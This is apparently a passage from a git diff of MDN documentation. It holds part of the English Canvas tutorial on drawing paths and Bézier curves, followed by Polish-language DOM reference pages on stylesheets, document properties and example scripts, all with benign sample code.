The difference between these can best be described using the image on the right. A quadratic Bézier curve has a start and an end point (blue dots) and just one control point (indicated by the red dot) while a cubic Bézier curve uses two control points.

- -

The x and y parameters in both of these methods are the coordinates of the end point. cp1x and cp1y are the coordinates of the first control point, and cp2x and cp2y are the coordinates of the second control point.

- -

Using quadratic and cubic Bézier curves can be quite challenging, because unlike vector drawing software like Adobe Illustrator, we don't have direct visual feedback as to what we're doing. This makes it pretty hard to draw complex shapes. In the following example, we'll be drawing some simple organic shapes, but if you have the time and, most of all, the patience, much more complex shapes can be created.

- -

There's nothing very difficult in these examples. In both cases we see a succession of curves being drawn which finally result in a complete shape.

- -

Quadratic Bezier curves

- -

This example uses multiple quadratic Bézier curves to render a speech balloon.

- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext) {
-    var ctx = canvas.getContext('2d');
-
-    // Quadratric curves example
-    ctx.beginPath();
-    ctx.moveTo(75,25);
-    ctx.quadraticCurveTo(25,25,25,62.5);
-    ctx.quadraticCurveTo(25,100,50,100);
-    ctx.quadraticCurveTo(50,120,30,125);
-    ctx.quadraticCurveTo(60,120,65,100);
-    ctx.quadraticCurveTo(125,100,125,62.5);
-    ctx.quadraticCurveTo(125,25,75,25);
-    ctx.stroke();
-  }
-}
-
- -

{{EmbedLiveSample("Quadratic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/243/Canvas_quadratic.png")}}

- -

Cubic Bezier curves

- -

This example draws a heart using cubic Bézier curves.

- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext){
-    var ctx = canvas.getContext('2d');
-
-    // Quadratric curves example
-    ctx.beginPath();
-    ctx.moveTo(75,40);
-    ctx.bezierCurveTo(75,37,70,25,50,25);
-    ctx.bezierCurveTo(20,25,20,62.5,20,62.5);
-    ctx.bezierCurveTo(20,80,40,102,75,120);
-    ctx.bezierCurveTo(110,102,130,80,130,62.5);
-    ctx.bezierCurveTo(130,62.5,130,25,100,25);
-    ctx.bezierCurveTo(85,25,75,37,75,40);
-    ctx.fill();
-  }
-}
-
- -

{{EmbedLiveSample("Cubic_Bezier_curves", 160, 160, "https://mdn.mozillademos.org/files/207/Canvas_bezier.png")}}

- -

Rectangles

- -

In addition to the three methods we saw in {{anch("Drawing rectangles")}}, which draw rectangular shapes directly to the canvas, there's also the rect() method, which adds a rectangular path to a currently open path.

- -
-
{{domxref("CanvasRenderingContext2D.bezierCurveTo", "rect(x, y, width, height)")}}
-
Draws a rectangle whose top-left corner is specified by (x, y) with the specified width and height.
-
- -

When this method is executed, the moveTo() method is automatically called with the parameters (0,0). In other words, the current pen position is automatically reset to the default coordinates.

- -

Making combinations

- -

So far, each example on this page has used only one type of path function per shape. However, there's no limitation to the number or types of paths you can use to create a shape. So in this final example, let's combine all of the path functions to make a set of very famous game characters.

- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext){
-    var ctx = canvas.getContext('2d');
-
-    roundedRect(ctx,12,12,150,150,15);
-    roundedRect(ctx,19,19,150,150,9);
-    roundedRect(ctx,53,53,49,33,10);
-    roundedRect(ctx,53,119,49,16,6);
-    roundedRect(ctx,135,53,49,33,10);
-    roundedRect(ctx,135,119,25,49,10);
-
-    ctx.beginPath();
-    ctx.arc(37,37,13,Math.PI/7,-Math.PI/7,false);
-    ctx.lineTo(31,37);
-    ctx.fill();
-
-    for(var i=0;i<8;i++){
-      ctx.fillRect(51+i*16,35,4,4);
-    }
-
-    for(i=0;i<6;i++){
-      ctx.fillRect(115,51+i*16,4,4);
-    }
-
-    for(i=0;i<8;i++){
-      ctx.fillRect(51+i*16,99,4,4);
-    }
-
-    ctx.beginPath();
-    ctx.moveTo(83,116);
-    ctx.lineTo(83,102);
-    ctx.bezierCurveTo(83,94,89,88,97,88);
-    ctx.bezierCurveTo(105,88,111,94,111,102);
-    ctx.lineTo(111,116);
-    ctx.lineTo(106.333,111.333);
-    ctx.lineTo(101.666,116);
-    ctx.lineTo(97,111.333);
-    ctx.lineTo(92.333,116);
-    ctx.lineTo(87.666,111.333);
-    ctx.lineTo(83,116);
-    ctx.fill();
-
-    ctx.fillStyle = "white";
-    ctx.beginPath();
-    ctx.moveTo(91,96);
-    ctx.bezierCurveTo(88,96,87,99,87,101);
-    ctx.bezierCurveTo(87,103,88,106,91,106);
-    ctx.bezierCurveTo(94,106,95,103,95,101);
-    ctx.bezierCurveTo(95,99,94,96,91,96);
-    ctx.moveTo(103,96);
-    ctx.bezierCurveTo(100,96,99,99,99,101);
-    ctx.bezierCurveTo(99,103,100,106,103,106);
-    ctx.bezierCurveTo(106,106,107,103,107,101);
-    ctx.bezierCurveTo(107,99,106,96,103,96);
-    ctx.fill();
-
-    ctx.fillStyle = "black";
-    ctx.beginPath();
-    ctx.arc(101,102,2,0,Math.PI*2,true);
-    ctx.fill();
-
-    ctx.beginPath();
-    ctx.arc(89,102,2,0,Math.PI*2,true);
-    ctx.fill();
-  }
-}
-
-// A utility function to draw a rectangle with rounded corners.
-
-function roundedRect(ctx,x,y,width,height,radius){
-  ctx.beginPath();
-  ctx.moveTo(x,y+radius);
-  ctx.lineTo(x,y+height-radius);
-  ctx.arcTo(x,y+height,x+radius,y+height,radius);
-  ctx.lineTo(x+width-radius,y+height);
-  ctx.arcTo(x+width,y+height,x+width,y+height-radius,radius);
-  ctx.lineTo(x+width,y+radius);
-  ctx.arcTo(x+width,y,x+width-radius,y,radius);
-  ctx.lineTo(x+radius,y);
-  ctx.arcTo(x,y,x,y+radius,radius);
-  ctx.stroke();
-}
-
- -

The resulting image looks like this:

- -

{{EmbedLiveSample("Making_combinations", 160, 160, "https://mdn.mozillademos.org/files/9849/combinations.png")}}

- -

We won't go over this in detail, since it's actually surprisingly simple. The most important things to note are the use of the fillStyle property on the drawing context, and the use of a utility function (in this case roundedRect()). Using utility functions for bits of drawing you do often can be very helpful and reduce the amount of code you need, as well as its complexity.

- -

We'll take another look at fillStyle, in more detail, later in this tutorial. Here, all we're doing is using it to change the fill color for paths from the default color of black to white, and then back again.

- -

Path2D objects

- -

As we have seen in the last example, there can be a series of paths and drawing commands to draw objects onto your canvas. To simplify the code and to improve performance, the {{domxref("Path2D")}} object, available in recent versions of browsers, lets you cache or record these drawing commands. You are able to play back your paths quickly.
- Lets see how we can construct a Path2D object:

- -
-
{{domxref("Path2D.Path2D", "Path2D()")}}
-
The Path2D() constructor returns a newly instantiated Path2D object, optionally with another path as an argument (creates a copy), or optionally with a string consisting of SVG path data.
-
- -
new Path2D();     // empty path object
-new Path2D(path); // copy from another Path2D object
-new Path2D(d);    // path from SVG path data
- -

All path methods like moveTo, rect, arc or quadraticCurveTo, etc., which we got to know above, are available on Path2D objects.

- -

The Path2D API also adds a way to combine paths using the addPath method. This can be useful when you want to build objects from several components, for example.

- -
-
{{domxref("Path2D.addPath", "Path2D.addPath(path [, transform])")}}
-
Adds a path to the current path with an optional transformation matrix.
-
- -

Path2D example

- -

In this example, we are creating a rectangle and a circle. Both are stored as a Path2D object, so that they are available for later usage. With the new Path2D API, several methods got updated to optionally accept a Path2D object to use instead of the current path. Here, stroke and fill are used with a path argument to draw both objects onto the canvas, for example.

- - - -
function draw() {
-  var canvas = document.getElementById('canvas');
-  if (canvas.getContext){
-    var ctx = canvas.getContext('2d');
-
-    var rectangle = new Path2D();
-    rectangle.rect(10, 10, 50, 50);
-
-    var circle = new Path2D();
-    circle.moveTo(125, 35);
-    circle.arc(100, 35, 25, 0, 2 * Math.PI);
-
-    ctx.stroke(rectangle);
-    ctx.fill(circle);
-  }
-}
-
- -

{{EmbedLiveSample("Path2D_example", 130, 110, "https://mdn.mozillademos.org/files/9851/path2d.png")}}

- -

Using SVG paths

- -

Another powerful feature of the new canvas Path2D API is using SVG path data to initialize paths on your canvas. This might allow you to pass around path data and re-use them in both, SVG and canvas.

- -

The path will move to point (M10 10) and then move horizontally 80 points to the right (h 80), then 80 points down (v 80), then 80 points to the left (h -80), and then back to the start (z). You can see this example on the Path2D constructor page.

- -
var p = new Path2D("M10 10 h 80 v 80 h -80 Z");
- -
{{PreviousNext("Web/API/Canvas_API/Tutorial/Basic_usage", "Web/API/Canvas_API/Tutorial/Applying_styles_and_colors")}}
diff --git a/files/pl/web/api/cssrulelist/index.html b/files/pl/web/api/cssrulelist/index.html new file mode 100644 index 0000000000..d3fabad79a --- /dev/null +++ b/files/pl/web/api/cssrulelist/index.html @@ -0,0 +1,46 @@ +--- +title: stylesheet.cssRules +slug: Web/API/Stylesheet/cssRules +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/CSSRuleList +--- +

{{ ApiRef() }}

+ +

Podsumowanie

+ +

Zwraca wszystkie reguły/zasady CSS w arkuszu stylów jako {{domxref("CSSRuleList")}}, tablico-podobny obiekt.

+ +

Składnia

+ +
rules = stylesheet.cssRules
+
+ +

rules jest tablicą {{domxref("CSSRuleList")}} indywidualnych obiektów cssRule. Pojedynczy obiekt cssRule może odwołać się do jednego z następujących obiektów:

+ + + +

Przykład

+ +
// pobiera pierwszą zasadę
+first_rule = document.styleSheets[0].cssRules[0];
+
+ +

Uwagi

+ +

Zobacz obiekt DOM {{domxref("cssRule")}}.

+ +

Specyfikacja

+ +

DOM Level 2 Style: CSSStyleSheet.cssRules

diff --git a/files/pl/web/api/cssstylesheet/deleterule/index.html b/files/pl/web/api/cssstylesheet/deleterule/index.html new file mode 100644 index 0000000000..bda06f24b4 --- /dev/null +++ b/files/pl/web/api/cssstylesheet/deleterule/index.html @@ -0,0 +1,26 @@ +--- +title: stylesheet.deleteRule +slug: Web/API/Stylesheet/deleteRule +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/CSSStyleSheet/deleteRule +--- +

{{ ApiRef() }}

+

Podsumowanie

+

Metoda deleteRule usuwa regułę stylu bieżącego obiektu arkusza stylów.

+

Składnia

+
stylesheet.deleteRule(index)
+
+

Parametry

+ +

Przykład

+
 myStyles.deleteRule(0);
+
+

Specyfikacja

+

deleteRule

+

{{ languages( { "en": "en/DOM/stylesheet.deleteRule" } ) }}

diff --git a/files/pl/web/api/cssstylesheet/index.html b/files/pl/web/api/cssstylesheet/index.html new file mode 100644 index 0000000000..dca62c79ee --- /dev/null +++ b/files/pl/web/api/cssstylesheet/index.html @@ -0,0 +1,57 @@ +--- +title: Stylesheet +slug: Web/API/Stylesheet +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/CSSStyleSheet +--- +

{{ ApiRef() }}

+ +

Ten dział opisuje obiekt CSSStyleSheet, który opisuje pojedynczy arkusz stylów css.

+ +

Arkusz stylów CSS składa się z reguł CSS, każda z nich może być manipulowana bezpośrednio przez obiekt CSSRule. Obiekt arkusza stylów pozwala ci kontrolować i modyfikować arkusze stylów,włączając jego listę reguł.

+ +

Możesz pobrać listę arkuszy stylów dla bieżącego dokumentu używając własności document.styleSheets.

+ +

Własności

+ +
+
stylesheet.cssRules
+
Zwraca wszystkie reguły/zasady CSS w arkuszu stylów jako tablicę.
+
stylesheet.disabled
+
Ta własność sygnalizuje, czy bieżący arkusz stylów jest używany lub nie.
+
stylesheet.href
+
Zwraca położenie zewnętrznego arkusza stylów.
+
stylesheet.media
+
SpeObiekt media określa zamierzony nośnik docelowy dla stylu informacji.
+
stylesheet.ownerNode
+
Zwraca węzeł łączący arkusz stylów z dokumentem.
+
stylesheet.ownerRule
+
Jeżeli arkusz stylów pochodzi z reguły @import, własność ownerRule będzie zawierać CSSImportRule.
+
stylesheet.parentStyleSheet
+
Zwraca arkusz stylów, który włącza obecny arkusz (jeśli istnieje).
+
stylesheet.title
+
Zwraca doradczy tytuł bieżącego arkusza stylów.
+
stylesheet.type
+
Określa język arkusza stylów dla tego arkusza stylów.
+
+ +

Metody

+ +
+
stylesheet.deleteRule
+
Usuwa reguły z arkusza stylów.
+
stylesheet.insertRule
+
Umieszcza nową regułę stylu dla bieżącego arkusza stylów.
+
+ +

Specyfikacja

+ +

DOM Level 2 Style Sheets: StyleSheet

+ +

DOM Level 2 CSS: CSSStyleSheet

+ +

{{ languages( { "en": "en/DOM/stylesheet" } ) }}

diff --git a/files/pl/web/api/cssstylesheet/insertrule/index.html b/files/pl/web/api/cssstylesheet/insertrule/index.html new file mode 100644 index 0000000000..eeabdc8a31 --- /dev/null +++ b/files/pl/web/api/cssstylesheet/insertrule/index.html @@ -0,0 +1,42 @@ +--- +title: stylesheet.insertRule +slug: Web/API/Stylesheet/insertRule +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Strony_wymagające_dopracowania + - Wszystkie_kategorie +translation_of: Web/API/CSSStyleSheet/insertRule +--- +

{{APIRef("CSSOM")}}

+ +

Podsumowanie

+ +

Metoda insertRule dodaje nową regułę stylu do aktualnego arkuszu stylu.

+ +

Składnia

+ +
stylesheet.insertRule(rule, index)
+
+ +

Parametry

+ + + +

Przykład

+ +
 // push a new rule onto the top of my stylesheet
+ myStyle.insertRule("#blanc { color: white }", 0);
+
+ +

Uwagi

+ +

For rule sets this contains both the selector and the style declaration. For at-rules, this specifies both the at-identifier and the rule content.

+ +

Specyfikacja

+ +

insertRule 

diff --git a/files/pl/web/api/document/activeelement/index.html b/files/pl/web/api/document/activeelement/index.html deleted file mode 100644 index 6a8358c7ac..0000000000 --- a/files/pl/web/api/document/activeelement/index.html +++ /dev/null @@ -1,27 +0,0 @@ ---- -title: document.activeElement -slug: Web/API/Document/activeElement -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/DocumentOrShadowRoot/activeElement -translation_of_original: Web/API/Document/activeElement ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Zwraca element, na którym ustawiony jest fokus.

-

{{ Note("Ten atrybut jest częścią specyfikacji HTML 5, która jest wciąż opracowywana.") }}

-

Składnia

-
var curElement = document.activeElement;
-
-

Przykład

-

Specyfikacja

-

Zarządzanie fokusem

-

 

-

 

-

 

-
-  
-

{{ languages( { "en": "en/DOM/document.activeElement", "es": "es/DOM/element.activeElement", "fr": "fr/DOM/document.activeElement", "ja": "ja/DOM/document.activeElement" } ) }}

diff --git a/files/pl/web/api/document/firstchild/index.html b/files/pl/web/api/document/firstchild/index.html deleted file mode 100644 index f53cd74778..0000000000 --- a/files/pl/web/api/document/firstchild/index.html +++ /dev/null @@ -1,37 +0,0 @@ ---- -title: document.firstChild -slug: Web/API/Document/firstChild -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/firstChild -translation_of_original: Web/API/document.firstChild ---- -

{{ ApiRef() }}

-

Podsumowanie

-

document.firstChild zwraca pierwszy węzeł z listy bezpośrednich dzieci dokumentu.

-

Składnia

-
dziecko = document.firstChild
-
-

Parametry

- -

Przykład

-
function fChild() {
-  f = document.firstChild;
-  alert(f.tagName);
-}
-// wyświetli: HTML
-
-

Uwagi

-

Zauważ, że możesz powrócić do drzewa DOM z tą własnością, by przejąć te węzły potomne, których potrzebujesz, ponieważ prawie zawsze firstChild zwraca element HTML.

-

Specyfikacja

-

firstChild

-

 

-

 

-
-  
-

{{ languages( { "en": "en/DOM/document.firstChild", "es": "es/DOM/document.firstChild", "fr": "fr/DOM/document.firstChild", "ja": "ja/DOM/document.firstChild" } ) }}

diff --git a/files/pl/web/api/document/namespaceuri/index.html b/files/pl/web/api/document/namespaceuri/index.html deleted file mode 100644 index 51ad1e71c0..0000000000 --- a/files/pl/web/api/document/namespaceuri/index.html +++ /dev/null @@ -1,26 +0,0 @@ ---- -title: document.namespaceURI -slug: Web/API/Document/namespaceURI -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/Node/namespaceURI -translation_of_original: Web/API/Document/namespaceURI ---- -

{{ ApiRef() }}

-

Podsumowanie

-

namespaceURI zwraca przestrzeń nazw XML dokumentu.

-

Składnia

-
NSURI = document.namespaceURI
-
-

Parametry

- -

Uwagi

-

DOM jako takie nie obsługuje ani nie wymaga walidacji przestrzeni nazw. Przeprowadzenie walidacji, jeśli jest taka potrzeba, zależy od aplikacji obsługującej DOM. Zauważ też, że prefiks przestrzeni nazw nie może zostać zmieniony, kiedy już raz zostanie przypisany węzłowi.

-

Specyfikacja

-

namespaceURI

-

{{ languages( { "en": "en/DOM/document.namespaceURI", "fr": "fr/DOM/document.namespaceURI" } ) }}

diff --git a/files/pl/web/api/document/stylesheets/index.html b/files/pl/web/api/document/stylesheets/index.html deleted file mode 100644 index e1c2493cd3..0000000000 --- a/files/pl/web/api/document/stylesheets/index.html +++ /dev/null @@ -1,20 +0,0 @@ ---- -title: document.styleSheets -slug: Web/API/Document/styleSheets -tags: - - DOM - - Dokumentacja_Gecko_DOM - - Gecko - - Wszystkie_kategorie -translation_of: Web/API/DocumentOrShadowRoot/styleSheets -translation_of_original: Web/API/Document/styleSheets ---- -

{{ ApiRef() }}

-

Podsumowanie

-

Własność styleSheets zwraca listę obiektów stylesheet w bieżącym dokumencie.

-

Składnia

-
listaWęzłów = document.styleSheets
-
-

Specyfikacja

-

DOM Level 2.

-

{{ languages( { "en": "en/DOM/document.styleSheets", "ja": "ja/DOM/document.styleSheets" } ) }}

diff --git a/files/pl/web/api/document_object_model/examples/index.html b/files/pl/web/api/document_object_model/examples/index.html new file mode 100644 index 0000000000..90d24738ef --- /dev/null +++ b/files/pl/web/api/document_object_model/examples/index.html @@ -0,0 +1,354 @@ +--- +title: Przykłady użycia DOM +slug: Dokumentacja_Gecko_DOM/Przykłady_użycia_DOM +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document_Object_Model/Examples +--- +

{{ ApiRef() }}

+ +

Rozdział ten pokazuje kilka dłuższych przykładów użycia DOM na stronach internetowych i zastosowanie XML-a. Gdzie tylko jest to możliwe, przykłady używają ogólnie API, trików i wzorów kodu napisanych w JavaScripcie służących do manipulacji obiektem dokumentu.

+ +

Przykład 1: Wysokość i szerokość

+ +

Następujący przykład pokazuje użycie własności height i width obok obrazków, które się różnią rozmiarami:

+ +
<!DOCTYPE html>
+<html lang="pl">
+<head>
+<title>Przykład width/height</title>
+<script>
+function init()
+{
+  var arrImages = new Array(3);
+
+  arrImages[0] = document.getElementById("image1");
+  arrImages[1] = document.getElementById("image2");
+  arrImages[2] = document.getElementById("image3");
+  var objOutput = document.getElementById("output");
+  var strHtml = "<ul>";
+  for (var i = 0; i < arrImages.length; i++)
+    strHtml += "<li>image" + (i+1) +
+            ": height=" + arrImages[i].height +
+            ", width=" + arrImages[i].width +
+            ", style.height=" + arrImages[i].style.height +
+            ", style.width=" + arrImages[i].style.width +
+            "<\/li>";
+  strHtml += "<\/ul>";
+  objOutput.innerHTML = strHtml;
+}
+</script>
+</head>
+<body onload="init();">
+
+<p>Obrazek 1: Brak wysokości, szerokości oraz stylu
+    <img id="image1" src="http://www.mozilla.org/images/mozilla-banner.gif">
+</p>
+<p>Obrazek 2: height="50", width="500", lecz bez stylu
+    <img id="image2" src="http://www.mozilla.org/images/mozilla-banner.gif"
+         height="50" width="500">
+</p>
+<p>Obrazek 3: Brak wysokości, szerokości, lecz style="height: 50px; width: 500px;"
+    <img id="image3" src="http://www.mozilla.org/images/mozilla-banner.gif"
+         style="height: 50px; width: 500px;">
+</p>
+
+<div id="output"> </div>
+</body>
+</html>
+
+ +

height i width są także własnościami elementów OBJECT i APPLET.

+ +

Przykład 2: Atrybuty obrazu

+ +
<!DOCTYPE html>
+<html lang="pl">
+<head>
+<title>Modyfikacja obramowania obrazka</title>
+
+<script>
+function setBorderWidth(width) {
+  document.getElementById("img1").style.borderWidth = width + "px";
+}
+</script>
+</head>
+
+<body>
+<p>
+  <img id="img1"
+       src="image1.gif"
+       style="border: 5px solid green;"
+       width="100"
+       height="100"
+       alt="test obramowania">
+</p>
+
+<form name="FormName">
+  <input type="button" value="Utwórz obramowanie 20px-wide" onclick="setBorderWidth(20);">
+  <input type="button" value="Utwórz obramowanie 5px-wide" onclick="setBorderWidth(5);">
+</form>
+
+</body>
+</html>
+
+ +

Przykład 3: Manipulacja stylami

+ +

W tym prostym przykładzie, niektóre podstawowe własności stylów elementu znacznika HTML są dostępne przy zastosowaniu obiektów stylu elementu i obiektów własności stylu CSS, który może być odzyskiwany i ustawiany z DOM. W tym przypadku manipulujemy bezpośrednio pojedynczym stylem. W następnym przykładzie (zobacz przykład 4), zastosujemy arkusz stylów i jego reguły do zmiany stylów w dokumentach wokół.

+ +
<!DOCTYPE html>
+<html lang="pl">
+<head>
+<title>Zmiana koloru i rozmiaru czcionki w przykładzie</title>
+
+<script>
+function changeText() {
+	var p = document.getElementById("pid");
+
+    p.style.color = "blue"
+	p.style.fontSize = "18pt"
+}
+</script>
+</head>
+<body>
+
+<p id="pid" onclick="window.location.href = 'http://www.cnn.com/';">linker</p>
+
+<form>
+  <p><input value="rec" type="button" onclick="changeText();"></p>
+</form>
+
+</body>
+</html>
+
+ +

Przykład 4: Zastosowanie stylów

+ +

Własność obiektu dokumentu styleSheets zwraca listę arkusza stylów wczytanego do tegoż dokumentu. Można uzyskać dostęp do indywidualnych własności arkusza stylów używając obiektów stylesheet, style oraz CSSRule jak zademonstrowano w poniższym przykładzie, który wyświetla selektory reguł stylu na konsole.

+ +
var ss = document.styleSheets;
+
+for(var i=0; i < ss.length; i++) {
+  for(var j=0; j < ss[i].cssRules.length; j++) {
+     console.log(ss[i].cssRules[j].selectorText + "\n" );
+  }
+}
+
+ +

Dla dokumentu posiadającego tylko jeden styl, dla którego zdefiniowano 3 poniższe reguły:

+ +
body { background-color: darkblue; }
+p { font-face: Arial; font-size: 10pt; margin-left: .125in; }
+#lumpy { display: none; }
+
+ +

Wynik skryptu będzie następujący:

+ +
BODY
+P
+#LUMPY
+
+ +

Przykład 5: Propagowanie zdarzeń

+ +

Poniższy przykład demonstruje w prosty sposób jak zainicjować zdarzenia oraz ich obsługę przez DOM. Kiedy BODY tegoż dokumentu zostanie załadowany nasłuch zdarzeń zostaje zarejestrowany w pierwszym rzędzie TABLE. Nasłuch zdarzeń obsługuje zdarzenie przez wykonanie funkcji l_func, która zmienia wartość dolnej komórki tabeli.

+ +

Jednakże, l_func wywołuje również metodę obiektu zdarzenia event.stopPropagation powstrzymującą zdarzenie od dalszego "mieszania" w DOM-ie. Zauważ, że sama tabela posiada uchwyt zdarzenia onclick, który powinien wyświetlić powiadomienie w przypadku kliknięcia na tabelę. Metoda l_func powstrzymała propagacje, tak wiec po zaktualizowaniu danych tabeli faza zdarzenia została zakończona.

+ +
<!DOCTYPE html>
+<html lang="pl">
+<head>
+  <title>Propagowanie zdarzeń</title>
+  <style>
+    #t-daddy { border: 1px solid red }
+    #t1 { background-color: pink; }
+  </style>
+  <script>
+  function stopEvent(e) {
+    t2 = document.getElementById("t2");
+    t2.innerHTML = "hej";
+     // this ought to keep t-daddy from getting the click.
+    e.stopPropagation();
+    alert("propagowanie zdarzeń zatrzymane.");
+  }
+  function load() {
+    el = document.getElementById("t");
+    el.addEventListener("click", stopEvent, false);
+  }
+  </script>
+</head>
+<body onload="load();">
+
+<table id="t-daddy" onclick="alert('hi');">
+  <tr id="t">
+     <td id="t1">jeden</td>
+  </tr>
+  <tr>
+    <td id="t2">dwa</td>
+  </tr>
+</table>
+</body>
+</html>
+
+ +

Przykład 6: getComputedStyle

+ +

Poniższy przykład demonstruje jak użyć metody DOM document.defaultView.getComputedStyle() do pobrania stylu elementu, który nie jest zgodny z językiem JavaScript (np., elementReference.style.backgroundColor="rgb(173, 216, 230)"). Typy stylów można pobrać w bardziej bezpośredni sposób style = własności elementReference.style, których lista własności przedstawiona jest DOM Style Reference książki (patrz DOM CSS Properties List). Zobacz również własności stylów w DOM Elements Reference. getComputedStyle() zwraca obiekt ComputedCSSStyleDeclaration, którego własności stylów można związać z metodą getPropertyValue() obiektu, jak pokazuje poniższy przykład dokumentu.

+ +
<!DOCTYPE html>
+<html lang="pl">
+<head>
+
+<title>Przykład getComputedStyle</title>
+
+<script>
+function cStyles() {
+   var RefDiv = document.getElementById("d1");
+
+   var txtHeight = document.getElementById("t1");
+   var h_style =
+document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("height");
+   txtHeight.value = h_style;
+
+   var txtWidth = document.getElementById("t2");
+   var w_style =
+document.defaultView.getComputedStyle(RefDiv, null).getPropertyValue("width");
+   txtWidth.value = w_style;
+
+   var txtBackgroundColor = document.getElementById("t3");
+   var b_style =
+document.defaultView.getComputedStyle(RefDiv,
+null).getPropertyValue("background-color");
+   txtBackgroundColor.value = b_style;
+  }
+ </script>
+
+ <style>
+   #d1 { margin-left: 10px; background-color: rgb(173, 216, 230);
+height: 20px; max-width: 20px; }
+ </style>
+
+</head>
+
+<body>
+
+<div id="d1">&nbsp;</div>
+
+<form action="">
+<p><button type="button" onclick="cStyles();">getComputedStyle</button>
+  height<input id="t1" type="text" value="1">
+  max-width<input id="t2" type="text" value="2">
+  bg-color<input id="t3" type="text" value="3"></p>
+</form>
+
+</body>
+</html>
+
+ +

Przykład 7: Wyświetlanie stałych obiektu zdarzenia

+ +

Przykład pokazuje jak używając DOM można stworzyć tabele zawierającą zarówno wszystkie stałe obiektu zdarzenia jak i ich wartości. Pokazuje kilka ciekawych aspektów DOM, włączając w to własność Event.prototype pozwalającą uzyskać dostęp do własności danego obiektu, dobry wzorzec iteracji przez własności tegoż prototypu oraz same wartości stałych wyświetlanych w tabeli. Zauważ, że środkowy zakres zmiennych to kody znaków reprezentujące klawisze wciśnięte podczas zdarzenia (i do pobrania za pomocą własności charCode). Załaduj poniższy kod jako stronę www, aby zobaczyć stale obiektu zdarzenia.

+ +
<!DOCTYPE html>
+<html lang="en">
+<head>
+<meta charset="utf-8">
+<title>Show Event properties</title>
+
+<style>
+  table {border-collapse: collapse;}
+  thead {font-weight: bold;}
+  td {padding: 2px 10px 2px 10px;}
+  .odd {background-color: #efdfef;}
+  .even {background-color: #ffffff;}
+</style>
+
+<script>
+
+function showEventProperties(e) {
+  function addCell(row, text) {
+    var cell = row.insertCell(-1);
+    cell.appendChild(document.createTextNode(text));
+  }
+
+  var e = e || window.event;
+  document.getElementById('eventType').innerHTML = e.type;
+
+  var table = document.createElement('table');
+  var thead = table.createTHead();
+  var row = thead.insertRow(-1);
+  var lableList = ['#', 'Property', 'Value'];
+  var len = lableList.length;
+
+  for (var i=0; i<len; i++) {
+    addCell(row, lableList[i]);
+  }
+
+  var tbody = document.createElement('tbody');
+  table.appendChild(tbody);
+
+  for (var p in e) {
+    row = tbody.insertRow(-1);
+    row.className = (row.rowIndex % 2)? 'odd':'even';
+    addCell(row, row.rowIndex);
+    addCell(row, p);
+    addCell(row, e[p]);
+  }
+
+  document.body.appendChild(table);
+}
+window.onload = function(event){
+  showEventProperties(event);
+}
+</script>
+</head>
+
+<body>
+<h1>Properties of the DOM <span id="eventType"></span> Event Object</h1>
+</body>
+
+</html>
+
+ +

Przykład 8: Zastosowanie interfejsu DOM Table

+ +

Interfejs DOM HTMLTableElement dostarcza kilku wygodnych metod do tworzenia i modyfikacji tabeli. Dwoma często stosowanymi metodami są table.insertRow i row.insertCell.

+ +

Aby dodać wiersz i kilka komórek do istniejącej tabeli:

+ +
<table id="table0">
+ <tr>
+  <td>Row 0 Cell 0</td>
+  <td>Row 0 Cell 1</td>
+ </tr>
+</table>
+
+<script>
+
+var table = document.getElementById('table0');
+var row = table.insertRow(-1);
+var cell, text;
+
+for (var i=0; i<2; i++) {
+  cell = row.insertCell(-1);
+  text = 'Row ' + row.rowIndex + ' Cell ' + i;
+  cell.appendChild(document.createTextNode(text));
+}
+</script>
+
+ +

Uwagi

+ + + +
 
+ +

{{ languages( { "en": "en/Gecko_DOM_Reference/Examples", "es": "es/Referencia_DOM_de_Gecko/Ejemplos", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko/Exemples", "ja": "ja/Gecko_DOM_Reference/Examples" } ) }}

diff --git a/files/pl/web/api/document_object_model/index.html b/files/pl/web/api/document_object_model/index.html new file mode 100644 index 0000000000..e4c1475516 --- /dev/null +++ b/files/pl/web/api/document_object_model/index.html @@ -0,0 +1,85 @@ +--- +title: Dokumentacja Gecko DOM +slug: Dokumentacja_Gecko_DOM +tags: + - DOM + - Dokumentacja_Gecko_DOM + - Gecko + - Wszystkie_kategorie +translation_of: Web/API/Document_Object_Model +--- +

+

Ta strona jest przyszłym spisem treści Dokumentacji Gecko DOM, którą przenosimy stąd. +


+

+

Przedmowa

+ +

Wprowadzenie

+ +

Elementy w DOM

+ +

Obiekt window

+ +

Obiekt document

+ +

Zdarzenia

+ +

Style w DOM

+ +

DOM range

+ +

Interfejs elementu HTML FORM

+ +

Interfejs elementu HTML TABLE

+ +

Przykłady użycia DOM

+ +


+

+
+
+{{ languages( { "en": "en/Gecko_DOM_Reference", "es": "es/Referencia_DOM_de_Gecko", "fr": "fr/R\u00e9f\u00e9rence_du_DOM_Gecko", "it": "it/Reference_del_DOM_di_Gecko", "ja": "ja/Gecko_DOM_Reference", "ko": "ko/Gecko_DOM_Reference", "zh-cn": "cn/Gecko_DOM_\u53c2\u8003" } ) }} diff --git a/files/pl/web/api/document_object_model/introduction/index.html b/files/pl/web/api/document_object_model/introduction/index.html new file mode 100644 index 0000000000..2ffb9814a7 --- /dev/null +++ b/files/pl/web/api/document_object_model/introduction/index.html @@ -0,0 +1,171 @@ +--- +title: Wprowadzenie +slug: Dokumentacja_Gecko_DOM/Wprowadzenie +tags: + - DOM + - Gecko +translation_of: Web/API/Document_Object_Model/Introduction +--- +

